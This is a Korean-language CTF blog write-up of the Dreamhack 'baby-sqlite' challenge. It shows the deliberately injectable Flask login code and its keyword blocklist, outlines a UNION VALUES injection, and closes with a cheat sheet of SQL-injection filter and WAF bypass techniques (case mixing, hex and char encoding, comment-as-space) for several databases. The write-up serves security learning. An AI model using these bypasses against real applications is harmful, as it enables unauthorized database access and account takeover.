๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]WebHacking/Wargame&CTF

[Dreamhack] Level2: baby-sqlite

by Yun2๐Ÿ‘ 2024. 2. 23.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธ Access

๋กœ๊ทธ์ธ ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค.
SQL INJECTION ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”!

 

 

๐Ÿ‘พ Exploit Algorithm & Payload

 > app.py

๋”๋ณด๊ธฐ
#!/usr/bin/env python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import urllib
import os
import sqlite3

app = Flask(__name__)
app.secret_key = os.urandom(32)
from flask import _app_ctx_stack

DATABASE = 'users.db'

def get_db():
    top = _app_ctx_stack.top
    if not hasattr(top, 'sqlite_db'):
        top.sqlite_db = sqlite3.connect(DATABASE)
    return top.sqlite_db


try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')

    uid = request.form.get('uid', '').lower()
    upw = request.form.get('upw', '').lower()
    level = request.form.get('level', '9').lower()

    sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
    for x in sqli_filter:
        if uid.find(x) != -1:
            return 'No Hack!'
        if upw.find(x) != -1:
            return 'No Hack!'
        if level.find(x) != -1:
            return 'No Hack!'

    
    with app.app_context():
        conn = get_db()
        query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
        try:
            req = conn.execute(query)
            result = req.fetchone()

            if result is not None:
                uid = result[0]
                if uid == 'admin':
                    return FLAG
        except:
            return 'Error!'
    return 'Good!'


@app.teardown_appcontext
def close_connection(exception):
    top = _app_ctx_stack.top
    if hasattr(top, 'sqlite_db'):
        top.sqlite_db.close()


if __name__ == '__main__':
    os.system('rm -rf %s' % DATABASE)
    with app.app_context():
        conn = get_db()
        conn.execute('CREATE TABLE users (uid text, upw text, level integer);')
        conn.execute("INSERT INTO users VALUES ('dream','cometrue', 9);")
        conn.commit()

    app.run(host='0.0.0.0', port=8001)

 

 

#1


: '/' ์ธ๋ฑ์Šค ํŽ˜์ด์ง€์—์„œ๋Š” ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€๋กœ ์ด๋™ํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์ด ์žˆ๋‹ค.

 

: '/login' ํŽ˜์ด์ง€์—์„œ๋Š” ํผ์„ ์ž…๋ ฅํ•˜์—ฌ ์ œ์ถœํ•˜๋Š” ๊ธฐ๋Šฅ์ด ์žˆ๋‹ค.

: ์—ฌ๊ธฐ์„œ ์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ–ˆ์„ ๋•Œ, 'uid', 'upw', 'level'์ด ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ๋Š”๋ฐ ์ „์†ก ํผ์œผ๋กœ๋Š” level์ด ์•ˆ ๋ณด์ด๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

#2


: Burp Suite ๋„๊ตฌ๋ฅผ ํ™œ์šฉํ•˜์—ฌ Proxy๋ฅผ ์žก์•˜๋‹ค. uid, upw์— level์„ ์ ์šฉํ•ด๋„ ์ž˜ ๋™์ž‘ํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

#3


๋”๋ณด๊ธฐ

DATABASE = 'users.db'
...
try:
    FLAG = open('./flag.txt', 'r').read()

-1    
@app.route('/')
-2
@app.route('/login', methods=['GET', 'POST'])
-> POST ๋ฐฉ์‹์œผ๋กœ ์‚ฌ์šฉ(GET์„ ์‚ฌ์šฉ ์‹œ login.html ํ…œํ”Œ๋ฆฟ์„ ๋ Œ๋”๋งํ•˜์—ฌ ๋ฐ˜ํ™˜ํ•˜๊ฒŒ ๋จ)
-> uid, upw ๊ฐ’์„ ๊ฐ€์ ธ์™€ ์†Œ๋ฌธ์ž ๋ณ€ํ™˜ ํ›„, ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ฐ’ ์ฒ˜๋ฆฌ. level์€ ๊ธฐ๋ณธ 9๋กœ ์ง€์ •
    uid = request.form.get('uid', '').lower()
    upw = request.form.get('upw', '').lower()
    level = request.form.get('level', '9').lower()

-> uid,upw,level ํ•„ํ„ฐ๋ง ์ž‘์—…์ด ๋˜์–ด ์žˆ์Œ
['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
'\t': ํƒญ ๋ฌธ์ž
'\n': ๋‰ด๋ผ์ธ(newline) ๋˜๋Š” ์ค„๋ฐ”๊ฟˆ ๋ฌธ์ž
'\r': ์บ๋ฆฌ์ง€ ๋ฆฌํ„ด(carriage return) ๋ฌธ์ž # ์ปค์„œ๋ฅผ ํ˜„์žฌ ์ค„์˜ ์ฒ˜์Œ์œผ๋กœ ์ด๋™์‹œํ‚ค๋Š” ์—ญํ• 
'\x08': ๋ฐฑ์ŠคํŽ˜์ด์Šค ๋ฌธ์ž # ์ปค์„œ๋ฅผ ์™ผ์ชฝ์œผ๋กœ ํ•œ ์นธ ์ด๋™์‹œํ‚ค๊ณ  ๊ทธ ์œ„์น˜์˜ ๋ฌธ์ž๋ฅผ ์‚ญ์ œํ•˜๋Š” ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค.
'\x09': ์ˆ˜ํ‰ ํƒญ ๋ฌธ์ž # '\t'์™€ ๋™์ผํ•˜๊ฒŒ ์ž‘๋™
'\x00': ๋„(null) ๋ฌธ์ž # ๋ฌธ์ž์—ด์˜ ๋์„ ํ‘œ์‹œํ•˜๋Š” ์—ญํ• 
'\x0b': ์ˆ˜์ง ํƒญ ๋ฌธ์ž # ์ถœ๋ ฅ ์žฅ์น˜์—์„œ ์ปค์„œ๋ฅผ ๋‹ค์Œ ์ค„๋กœ ์ด๋™์‹œํ‚ค๋Š” ์—ญํ• 
'\x0d': ์บ๋ฆฌ์ง€ ๋ฆฌํ„ด ๋ฌธ์ž # '\r'๊ณผ ๋™์ผํ•˜๊ฒŒ ์ž‘๋™
' ': ๊ณต๋ฐฑ ๋ฌธ์ž # ํ…์ŠคํŠธ ์‚ฌ์ด์— ๊ฐ„๊ฒฉ์„ ์ฃผ๋Š” ์—ญํ• 

-> query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
->   if result is not None:
                uid = result[0]
                if uid == 'admin':
                    return FLAG

: ์ฝ”๋“œ์—์„œ ํ•„์š”ํ•œ ๋ถ€๋ถ„๋งŒ ์š”์•ฝํ–ˆ๋‹ค.

: ํ•„ํ„ฐ๋ง์—์„œ ์ฃผ์„์€ ์—†๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ๋‹ค.

: ์ถ”๊ฐ€๋กœ level์€ integerํ˜•์ด๊ธฐ์— charํ˜•๊ณผ ๋‹ฌ๋ฆฌ ์‹ฑ๊ธ€์ฟผํ„ฐ(')๋กœ ๊ฐ์‹ธ์ ธ ์žˆ์ง€ ์•Š๋‹ค.

 

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


: ๋‹ค์Œ๊ณผ ๊ฐ™์ด sqlite์—์„œ ๊ตฌ๋ฌธ ๊ฒ€์‚ฌ ์šฐํšŒ UNION VALUES(num)๊ณผ ๊ณต๋ฐฑ ์šฐํšŒ๋ฅผ ์ด์šฉํ•˜์—ฌ FLAG๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

[+] Additional Checks


-Bypass WAF-

→ ๋Œ€์†Œ๋ฌธ์ž ๊ฒ€์‚ฌ ๋ฏธํก

UnIoN SeLecT 1, 2, 3#

 

→ ํƒ์ง€๊ณผ์ • ๋ฏธํก

UNunionION SELselctCT 1, 2#

 

→ ๋ฌธ์ž์—ด ๊ฒ€์‚ฌ ๋ฏธํก

SELECT reverse('nimda'), concat('adm','in'), x'61646d696e', 0x61646d696e;

 

→ ์—ฐ์‚ฐ์ž ๊ฒ€์‚ฌ ๋ฏธํก

select 1 || 1; 

^, =, !=, %, /, *, &, &&, |, ||, >, <, XOR, DIV, LIKE, RLIKE, REGEXP, IS, IN, NOT, MATCH, AND, OR, BETWEEN, ISNULL ๋“ฑ์˜ ์—ฐ์‚ฐ์ž๋ฅผ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ์Œ

 

๊ณต๋ฐฑ ํƒ์ง€

SELECT/**/'abc';
select`username`,(password)from`users`WHERE`username`='admin';

 

 

-MySQL Bypass-

→ ๋ฌธ์ž์—ด ๊ฒ€์‚ฌ ์šฐํšŒ

select 0x6162, 0b11000010110010;
select char(0x61, 0x62);
select concat(char(0x61), char(0x62));
select mid(@@version,12,1);

 

→ ๊ณต๋ฐฑ ๊ฒ€์‚ฌ ์šฐํšŒ

select -> 1;
select/**/1;

 

→ ์ฃผ์„ ๊ตฌ๋ฌธ ์‹คํ–‰

/**/, //, --, #, ...

 

 

-PostgreSQL Bypass-

๋ฌธ์ž์—ด ๊ฒ€์‚ฌ ์šฐํšŒ

select chr(65);
select concat(chr(65), chr(66));
select substring(version(),23,1);

 

→ ๊ณต๋ฐฑ ๊ฒ€์‚ฌ ์šฐํšŒ

select 1;
select/**/1;

 

-MSSQL Bypass-

 ๋ฌธ์ž์—ด ๊ฒ€์‚ฌ ์šฐํšŒ

select char(0x61);
select concat(char(0x61), char(0x62));
select substring(@@version, 134, 1);

 

→ ๊ณต๋ฐฑ ๊ฒ€์‚ฌ ์šฐํšŒ

select 1;
select/**/1;

 

 

-SQLite Bypass-

 ๋ฌธ์ž์—ด ๊ฒ€์‚ฌ ์šฐํšŒ

select char(0x61); 
select char(0x61)||char(0x62);

 

→ ๊ณต๋ฐฑ ๊ฒ€์‚ฌ ์šฐํšŒ

select/**/1;

 

→ ๊ตฌ๋ฌธ ๊ฒ€์‚ฌ ์šฐํšŒ

select 1 union values(2);

UNION VALUES(char(0x..), char(0x..), ...)
๋ฐ˜์‘ํ˜•

'[Dreamhack]WebHacking > Wargame&CTF' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level2: login-1  (2) 2024.02.25
[Dreamhack] CTF Season 5 Round #4 - BypassIF  (1) 2024.02.25
[Dreamhack] Level4: KeyCat  (0) 2024.02.23
[Dreamhack] Level1:Beginner blue-whale  (1) 2024.02.07
[Dreamhack] Level2: Dream Gallery  (0) 2024.02.03